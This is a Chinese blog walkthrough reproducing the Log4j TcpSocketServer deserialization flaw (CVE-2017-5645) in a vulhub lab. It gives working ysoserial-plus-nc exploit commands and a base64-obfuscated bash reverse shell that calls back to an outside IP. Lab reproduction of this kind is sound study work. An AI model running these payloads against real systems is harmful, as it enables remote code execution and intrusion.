天天看點

漏洞複現 | CVE‐2017‐5645

本文作者:Taoing(Ms08067實驗室 SRSP TEAM 核心成員)

Apache Log4j Server 反序列化指令執行漏洞(CVE‐2017‐5645)

一、漏洞原理

Apache Log4j是一個用于Java的日志記錄庫,其支援啟動遠端日志伺服器。Apache Log4j 2.8.2之 前的2.x版本中存在安全漏洞。攻擊者可利用該漏洞執行任意代碼。

二、環境搭建

cd /vulhub/log4j/CVE‐2017‐5645

#進入環境目錄

docker‐compose build && docker‐compose up ‐d

#一鍵啟動漏洞環境

環境啟動後,将在4712端口開啟一個TCPServer。

漏洞複現 | CVE‐2017‐5645

除了使用vulhub的docker鏡像搭建環境外,還下載下傳了log4j的jar檔案後可以直接在指令行啟動這個

TCPServer:java ‐cp "log4j‐api‐2.8.1.jar:log4j‐core‐2.8.1.jar:jcommander‐1.72.jar" org.apache.logging.log4j.core.net.server.TcpSocketServer

無需使用vulhub和編寫代碼。

三、漏洞複現

payload

使用ysoserial生成payload,然後直接發送給your‐ip:4712端口即可。

java ‐jar ysoserial.jar CommonsCollections5 "touch /tmp/CVE‐2017‐5645_is_succe ss" | nc your‐ip 4712

執行docker‐compose exec log4j bash進容器

可見 /tmp/CVE‐2017‐5645_is_success已成功建立:

漏洞複現 | CVE‐2017‐5645

四、反彈shell

工具推薦:

https://krober.biz/misc/reverse_shell.php

#線上生成反彈shell指令

http://www.jackson‐t.ca/runtime‐exec‐payloads.html

#指令編碼工具

java ‐jar ysoserial.jar CommonsCollections5 "bash ‐c {echo,YmFzaCAtaSA+JiAvZGV 2L3RjcC84LjIxMC4yMzUuMjQ5Lzk5ODggMD4mMQ==}|{base64,‐d}|{bash,‐i}" | nc 8.210.1 52.234 4712

漏洞複現 | CVE‐2017‐5645

shell到手

漏洞複現 | CVE‐2017‐5645

參考文章:

https://www.cnblogs.com/zaqzzz/p/12459999.htm

https://xz.aliyun.com/t/1909